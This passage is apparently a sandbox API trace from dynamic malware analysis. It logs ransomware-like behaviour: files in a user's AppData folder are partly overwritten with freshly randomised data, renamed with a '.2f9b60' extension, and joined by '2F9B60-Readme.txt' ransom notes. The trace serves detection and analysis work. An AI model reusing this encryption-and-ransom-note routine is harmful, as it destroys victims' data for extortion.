HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp.2f9b60", NtPathName=0x2ea0fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278cb0 [0104.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278cb0) returned 1 [0104.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052ba0) returned 1 [0104.790] NtQueryInformationFile (in: FileHandle=0x170c, IoStatusBlock=0x2ea0fcd8, FileInformation=0x2ea0fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ea0fcd8, FileInformation=0x2ea0fce8) returned 0x0 [0104.790] NtSetInformationFile (FileHandle=0x170c, IoStatusBlock=0x2ea0fcd8, FileInformation=0x2ea0fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205da50) returned 1 [0104.791] FlushFileBuffers (hFile=0x170c) returned 1 [0104.973] CloseHandle (hObject=0x170c) returned 1 [0105.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4f50 [0105.079] wcscpy (in: _Dest=0x202a4f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0105.079] wcscat (in: _Dest=0x202a4f50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0105.079] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0105.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4f50) returned 1 [0105.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d9b0) returned 1 Thread: id = 918 os_tid = 0x1500 [0101.150] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1e_e1yr-.bmp")) returned 0x2020 [0101.150] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp", dwFileAttributes=0x20) returned 1 [0102.152] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1e_e1yr-.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1710 [0102.152] GetFileSizeEx (in: hFile=0x1710, lpFileSize=0x2559f860 | out: lpFileSize=0x2559f860*=50927) returned 1 [0102.153] SetFilePointerEx (in: hFile=0x1710, liDistanceToMove=0xc6eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.153] ReadFile (in: hFile=0x1710, lpBuffer=0x2559f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2559f828, lpOverlapped=0x0 | out: lpBuffer=0x2559f7e0*, lpNumberOfBytesRead=0x2559f828*=0x4, lpOverlapped=0x0) returned 1 [0102.154] SetFilePointerEx (in: hFile=0x1710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0102.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0102.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0102.154] NtQuerySystemTime (in: CurrentTime=0x2559f720 | out: CurrentTime=0x2559f720*=132462177076786000) returned 0x0 [0102.154] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x77f4bdf6 [0102.154] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x73a57de [0102.154] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x48afde8d [0102.154] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x26cfd464 [0102.154] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x3a5a1632 [0102.154] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x3256901d [0102.154] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x178a8e01 [0102.154] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x796b6c34 [0102.154] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x7c734e3c [0102.154] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x7691e967 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x338cad13 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x112fd4ce [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x2763ff28 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0xe649106 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x63d3c510 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x517818b [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x2bf4f6ff [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x73956bda [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x1c042923 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x1df1945c [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0xc27c8ca [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x2dd47edb [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0xd44742a [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x2bb60a99 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x27056cc2 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x70f4b601 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x4c166f1e [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x17fc8127 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x2b09f5d3 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x20ec4711 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x29bd9675 [0102.155] RtlRandomEx (in: Seed=0x2559f710 | out: Seed=0x2559f710) returned 0x1d46764e [0102.200] SetFilePointerEx (in: hFile=0x1710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.200] ReadFile (in: hFile=0x1710, lpBuffer=0x1ce70190, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2559f780, lpOverlapped=0x0 | out: lpBuffer=0x1ce70190*, lpNumberOfBytesRead=0x2559f780*=0x3c00, lpOverlapped=0x0) returned 1 [0102.201] SetFilePointerEx (in: hFile=0x1710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0102.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0102.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a990) returned 1 [0102.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce73da0 [0102.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0102.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0102.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3c0) returned 1 [0102.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0102.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.202] WriteFile (in: hFile=0x1710, lpBuffer=0x1ce73da0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2559f780, lpOverlapped=0x0 | out: lpBuffer=0x1ce73da0*, lpNumberOfBytesWritten=0x2559f780*=0x3c00, lpOverlapped=0x0) returned 1 [0103.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce73da0) returned 1 [0103.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce70190) returned 1 [0103.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202607a0 [0103.298] SetFilePointerEx (in: hFile=0x1710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.298] WriteFile (in: hFile=0x1710, lpBuffer=0x4205a530*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2559f830, lpOverlapped=0x0 | out: lpBuffer=0x4205a530*, lpNumberOfBytesWritten=0x2559f830*=0x10a, lpOverlapped=0x0) returned 1 [0103.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0103.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202615e0) returned 1 [0103.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261610) returned 1 [0103.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202607a0) returned 1 [0103.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a990) returned 1 [0103.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0103.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a960) returned 1 [0103.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0b0) returned 1 [0103.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x20509de0 [0103.433] wcscpy (in: _Dest=0x20509de0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp" [0103.433] wcscat (in: _Dest=0x20509de0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp.2f9b60" [0103.433] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp.2f9b60", NtPathName=0x2559f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050d210 [0104.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0104.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053230) returned 1 [0104.342] NtQueryInformationFile (in: FileHandle=0x1710, IoStatusBlock=0x2559f8b8, FileInformation=0x2559f8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2559f8b8, FileInformation=0x2559f8c8) returned 0x0 [0104.342] NtSetInformationFile (FileHandle=0x1710, IoStatusBlock=0x2559f8b8, FileInformation=0x2559f8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509de0) returned 1 [0104.344] FlushFileBuffers (hFile=0x1710) returned 1 [0104.345] CloseHandle (hObject=0x1710) returned 1 [0104.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x20509de0 [0104.347] wcscpy (in: _Dest=0x20509de0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.347] wcscat (in: _Dest=0x20509de0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.347] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0xffffffff [0104.347] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1630 [0104.519] WriteFile (in: hFile=0x1630, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2559f770, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2559f770*=0xba9, lpOverlapped=0x0) returned 1 [0104.520] CloseHandle (hObject=0x1630) returned 1 [0104.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509de0) returned 1 [0104.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e690) returned 1 Thread: id = 919 os_tid = 0x1504 [0101.155] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7xXHQ1X.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7xxhq1x.rtf")) returned 0x2020 [0101.155] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7xXHQ1X.rtf", dwFileAttributes=0x20) returned 1 [0103.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7xXHQ1X.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7xxhq1x.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1770 [0103.334] GetFileSizeEx (in: hFile=0x1770, lpFileSize=0x2de1f8a0 | out: lpFileSize=0x2de1f8a0*=38797) returned 1 [0103.335] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x9789, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.335] ReadFile (in: hFile=0x1770, lpBuffer=0x2de1f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2de1f868, lpOverlapped=0x0 | out: lpBuffer=0x2de1f820*, lpNumberOfBytesRead=0x2de1f868*=0x4, lpOverlapped=0x0) returned 1 [0103.336] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638f0 [0103.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0103.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260530 [0103.336] NtQuerySystemTime (in: CurrentTime=0x2de1f760 | out: CurrentTime=0x2de1f760*=132462177088486000) returned 0x0 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x189c9a3 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x340244be [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x2cf22aa4 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x5d4e6a4 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x1be8b6e3 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x6b1ad82e [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x1cd8a7d6 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x6bfc2ff0 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x6062e3c1 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x52df04f7 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x45746509 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x4c3a7510 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x48caa724 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x3cc7291c [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x10ec9d16 [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0xd8e76d [0103.336] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x1a541a5a [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x58502fb9 [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x7fd4fd76 [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x7bfadd5d [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x16918b3f [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x45b7ec5c [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x248fc7dd [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x207b8e44 [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0xb9e043b [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0xfcbc520 [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x71ed576 [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x75062e6d [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x6de78f4c [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x66066e5a [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x1cd5d36a [0103.337] RtlRandomEx (in: Seed=0x2de1f750 | out: Seed=0x2de1f750) returned 0x5895fa5f [0103.350] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.350] ReadFile (in: hFile=0x1770, lpBuffer=0x1ce95a30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2de1f7c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce95a30*, lpNumberOfBytesRead=0x2de1f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.460] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0103.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0103.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615e0 [0103.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202615e0) returned 1 [0103.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20468750 [0103.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615e0 [0103.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0103.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260890) returned 1 [0103.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0103.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0103.461] WriteFile (in: hFile=0x1770, lpBuffer=0x20468750*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2de1f7c0, lpOverlapped=0x0 | out: lpBuffer=0x20468750*, lpNumberOfBytesWritten=0x2de1f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20468750) returned 1 [0103.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce95a30) returned 1 [0103.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20263650 [0103.873] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.873] WriteFile (in: hFile=0x1770, lpBuffer=0x169c40*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2de1f870, lpOverlapped=0x0 | out: lpBuffer=0x169c40*, lpNumberOfBytesWritten=0x2de1f870*=0x108, lpOverlapped=0x0) returned 1 [0104.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0104.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0104.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628a0 [0104.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202628a0) returned 1 [0104.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0104.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628a0 [0104.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f20 [0104.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f20) returned 1 [0104.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0104.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0104.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f130 [0104.107] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="78") returned 2 [0104.107] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="20") returned 2 [0104.107] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="17") returned 2 [0104.107] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="a6") returned 2 [0104.107] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="79") returned 2 [0104.107] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="f7") returned 2 [0104.107] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="a3") returned 2 [0104.107] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="35") returned 2 [0104.107] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="30") returned 2 [0104.107] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="2b") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="02") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="c0") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="95") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="18") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="19") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="ff") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="ff") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="a0") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="8d") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="aa") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="9d") returned 2 [0104.108] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="45") returned 2 [0104.108] RtlInitAnsiString (in: DestinationString=0x2de1f8e8, SourceString="782017a679f7a335302b02c0951819ffffa08daa9d45" | out: DestinationString="782017a679f7a335302b02c0951819ffffa08daa9d45") [0104.108] RtlAnsiStringToUnicodeString (in: DestinationString=0x2de1f8b8, SourceString="782017a679f7a335302b02c0951819ffffa08daa9d45", AllocateDestinationString=1 | out: DestinationString="782017a679f7a335302b02c0951819ffffa08daa9d45") returned 0x0 [0104.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86eaa0 [0104.108] wcscat (in: _Dest=0x2050a770, _Source="782017a679f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\782017a679f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\782017a679f" [0104.108] wcscat (in: _Dest=0x2050a770, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\782017a679f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\782017a679f.2f9b60" [0104.108] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\782017a679f.2f9b60", NtPathName=0x2de1f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: 